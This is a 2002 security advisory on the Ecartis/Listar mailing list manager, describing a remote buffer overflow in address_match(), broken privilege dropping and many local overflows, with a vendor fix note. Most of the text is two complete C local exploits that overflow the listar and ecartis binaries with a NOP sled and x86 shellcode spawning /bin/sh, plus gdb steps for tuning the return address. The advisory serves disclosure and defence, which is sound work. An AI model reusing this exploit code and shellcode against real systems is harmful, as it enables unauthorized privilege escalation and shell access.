26th Sep 2002 [SBWID-5183]
COMMAND
	Ecartis/Listar multiple vulns. may lead to remote and local root
SYSTEMS AFFECTED
	All  current  versions  are  affected,  including  latest  CVS  snapshot
	1.0.0-20020125.
PROBLEM
	Janusz Niewiadomski and Wojciech Purczynski of  iSEC  Security  Research
	[http://isec.pl], posted :
	
	1. Remotely exploitable buffer overflow in address_match()
	
	All versions of Listar and versions prior  1.0.0  snapshot  20020125  of
	Ecartis, contains buffer overflow  in  address_match()  function,  which
	handles  comparison  between  address  received  in  From   header   and
	addresses in local subscribers database. By  issuing  specially  crafted
	From header, remote attacker is able to overwrite return address of  the
	function and execute arbitrary code  on  system  running  list  manager.
	Working proof of concept code has been developed, but we are  not  going
	to publish it at the moment.
	
	2. Ineffective privilege dropping in listar
	
	Some MTA (like postfix) may execute ecartis binary  with  non-privileged
	user. In such a case ecartis does not change its privileges,  regardless
	whether it is installed setuid-root or setuid  to  non-privileged  user.
	This causes ecartis to work with UID of what it was called by  MTA,  and
	EUID (also SUID and FSUID) it was installed setuid to.
	In case of setuid to  non-privileged  user  installations  (most  binary
	packages) ecartis incorrectly drops its privileges:
	
	(called with UID=root)
	getuid()                          = root
	geteuid()                         = ecartis
	getegid()                         = ecartis
	setuid(ecartis)                   = root
	setgid(ecartis)                   = root
	
	After above UID/GID initialization UID is still equal  to  root  and  no
	UIDs  are  changed  at  all  (at  least  on  Linux,  implementation   of
	setuid/setgid varies on other systems).
	Working privileges are dropped correcly only when ecartis is called  and
	installed with root privileges and "lock-to-user"  configuration  option
	is set. If "lock-to-user" is not set, ecartis displays  warning  message
	but it continues to work with full root privileges.
	Installing Ecartis setuid-root is not recommended, quoting  from  README
	file:
	"You probably want to create a ecartis user/group so  that  the  program
	runs as an unpriveledged user. Chmod  the  ecartis  executable  to  this
	user and make sure  this  user  is  a  trusted  user  of  your  sendmail
	program. Also make sure  all  the  list  directories  have  the  correct
	permissions and can be read/written by the ecartis user/group."
	So the most safe Ecartis installation is not recommended and uncommon.
	Notice that in all  above  cases,  supplementary  groups  are  not  even
	touched and they are left unchanged. This may lead ecartis to work  with
	supplementary groups it was called with, mostly mail or root.
	
	3. Multiple local vulnerabilities
	
	Ecartis/Listar contains infinite number of local  buffer  overflows  and
	other security  holes.  Most  of  these  are  very  easily  exploitable.
	Unfortunately vendor seems to ignore our suggestions  regarding  further
	analysis of presented examples, and general security audit of the code.
	 Exploit : (25 April 2002) by KF [[email protected]]
	 =======
	
	/*
	 * /home/listar-0.129a/listar
	 *
	 * The vulnerability was found by KF / Snosoft (http://www.snosoft.com)
	 * Exploit coded up by The Itch / Promisc (http://www.promisc.org)
	 *
	 * This exploit was developed on the Snosoft vulnerability research machines
	 *
	 * - The Itch
	 * - [email protected]
	 *
	 * - Technical details concerning the exploit -
	 *
	 * 1) Buffer overflow occurs after writing 990 bytes into the buffer at the command line
	 *    (990 to overwrite ebp, 996 to overwrite eip).
	 * 2) The code string with the return address will be unaligned.
	 *
	 */
	#include <stdio.h>
	#include <stdlib.h>
	#define DEFAULT_EGG_SIZE 2048
	#define NOP 0x90
	#define DEFAULT_BUFFER_SIZE 1000
	char shellcode[] =
	        "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
	        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
	        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
	        "\x80\xe8\xdc\xff\xff\xff/bin/sh";
	int main(int argc, char *argv[])
	{
	        char *buff;
	        char *egg;
	        char *ptr;
	        long *addr_ptr;
	        long addr;
	        int bsize = DEFAULT_BUFFER_SIZE;
	        int eggsize = DEFAULT_EGG_SIZE;
	        int i;
	        int get_sp = 0xbffff4e0;
	        if(argc > 1) { bsize = atoi(argv[1]); }
	        if(!(buff = malloc(bsize)))
	        {
	                printf("unable to allocate memory for %d bytes\n", bsize);
	                exit(1);
	        }
	        if(!(egg = malloc(eggsize)))
	        {
	                printf("unable to allocate memory for %d bytes\n", eggsize);
	                exit(1);
	        }
	        printf("/home/listar-0.129a/listar\n");
	        printf("Vulnerability found by KF / http://www.snosoft.com\n");
	        printf("Coded by The Itch / http://www.promisc.org\n\n");
	        printf("Using return address: 0x%x\n", get_sp);
	        printf("Using buffersize    : %d\n", bsize);
	        /* alignment */
	        ptr = buff + 2;
	        addr_ptr = (long *) ptr;
	        for(i = 0; i < bsize; i+=4) { *(addr_ptr++) = get_sp; }
	        ptr = egg;
	        for(i = 0; i < eggsize - strlen(shellcode) -1; i++)
	        {
	                *(ptr++) = NOP;
	        }
	        for(i = 0; i < strlen(shellcode); i++)
	        {
	                *(ptr++) = shellcode[i];
	        }
	        egg[eggsize - 1] = '\0';
	        buff[bsize -1] = '\0';
	        memcpy(buff, "RET=", 4);
	        memcpy(egg, "EGG=", 4);
	        putenv(buff);
	        putenv(egg);
	        system("/home/listar-0.129a/listar $RET");
	        return 0;
	}
	/* 
	 * /home/ecartis/ecartis
	 *
	 * The vulnerability was found by KF / Snosoft (http://www.snosoft.com)
	 * Exploit coded up by The Itch / Promisc (http://www.promisc.org)
	 * Shellcode created by r0z / Promisc ([email protected])
	 * 
	 * This exploit was developed on the Snosoft vulnerability research machines
	 *
	 * - The Itch
	 * - [email protected]
	 *
	 * - Technical details concerning the exploit -
	 * 
	 * 1) Buffer overflow occurs after writing 996 bytes into the buffer at the command line
	 *    (996 to overwrite ebp, 1000 to overwrite eip).
	 * 2) The code string with the return address will be unaligned.
	 * 3) Shellcode will try to do a setreuid(508);
	 *
	 * I had trouble reaching my own buffer in the enviroment dynamicly, so i gdb'ed it.
	 * If the exploit fails, comment the system() that runs ecarthis, uncomment the other system()
	 * The run this exploit, you will be in bash then, do: gdb /home/ecartis/ecartis
	 * in gdb, type: run $RET
	 * The program will probably then segfault, then type: x/200x $esp and press enter a couply
	of times
	 * until you see alot of 0x90909090. Then pick on of those address and replace it with the 
	 * int get_sp = 0xbffff550. Change the system() commands below back as how they were and rerun
	the exploit. 
	 *
	 */
	#include <stdio.h>
	#include <stdlib.h>
	#define DEFAULT_EGG_SIZE 2048
	#define NOP 0x90
	#define DEFAULT_BUFFER_SIZE 1000
	/* setreuid(508); execve("/bin/sh", "sh", 0); (c) [email protected] */
	char shellcode[] =
	         "\x31\xdb"              /* xor   %ebx, %ebx     */
	         "\x31\xc9"              /* xor   %ecx, %ecx     */
	         "\xf7\xe3"              /* mul   %ebx           */
	         "\xb0\x46"              /* mov   $0x46, %al     */
	         "\x66\xbb\xfc\x01"      /* mov   $0x1fc, %bx    */
	         "\x49"                  /* dec   %ecx           */
	         "\xcd\x80"              /* int   $0x80          */
	         "\x31\xd2"              /* xor   %edx, %edx     */
	         "\x52"                  /* push  %edx           */
	         "\x68\x6e\x2f\x73\x68"  /* push  $0x68732f6e    */
	         "\x68\x2f\x2f\x62\x69"  /* push  $0x69622f2f    */
	         "\x89\xe3"              /* mov   %esp, %ebx     */
	         "\x52"                  /* push  %edx           */
	         "\x53"                  /* push  %ebx           */
	         "\x89\xe1"              /* mov   %esp, %ecx     */
	         "\x6a\x0b"              /* pushl $0xb           */
	         "\x58"                  /* pop   %eax           */
	         "\xcd\x80";             /* int   $0x80          */
	int main(int argc, char *argv[])
	{
	        char *buff;
	        char *egg;
	        char *ptr;
	        long *addr_ptr;
	        long addr;
	        int bsize = DEFAULT_BUFFER_SIZE;
	        int eggsize = DEFAULT_EGG_SIZE;
	        int i;
		int get_sp = 0xbffff550;
	        if(argc > 1) { bsize = atoi(argv[1]); }
	        if(!(buff = malloc(bsize)))
	        {
	                printf("unable to allocate memory for %d bytes\n", bsize);
	                exit(1);
	        }
	        if(!(egg = malloc(eggsize)))
	        {
	                printf("unable to allocate memory for %d bytes\n", eggsize);
	                exit(1);
	        }
		printf("/home/ecartis/ecartis\n");
		printf("Vulnerability found by KF / http://www.snosoft.com\n");
	        printf("Coded by The Itch / http://www.promisc.org\n\n");
	        printf("Using return address: 0x%x\n", get_sp);
	        printf("Using buffersize    : %d\n", bsize);
		/* alignment */
	        ptr = buff + 2;
	        addr_ptr = (long *) ptr;
	        for(i = 0; i < bsize; i+=4) { *(addr_ptr++) = get_sp; }
	        ptr = egg;
	        for(i = 0; i < eggsize - strlen(shellcode) -1; i++)
	        {
	                *(ptr++) = NOP;
	        }
	        for(i = 0; i < strlen(shellcode); i++)
	        {
	                *(ptr++) = shellcode[i];
	        }
	        egg[eggsize - 1] = '\0';
	        memcpy(egg, "EGG=", 4);
		putenv(egg);
		buff[bsize - 1] = '\0';
		memcpy(buff, "RET=", 4);
		putenv(buff);
		system("/home/ecartis/ecartis $RET");
	//	system("/bin/bash");
	        return 0;
	}
	
SOLUTION
	Only the first issue has been fixed in the lastest snapshot  of  Ecartis
	development version, vendor released statement and fix  informations  on
	listar-announce mailing list:
	
	   http://marc.10east.com/?l=listar-announce&m=101452659032650&w=2
	
	All stable versions of Listar are still vulnerable to all  above  issues
	and needs to be patched or upgraded to Ecartis after it is fixed.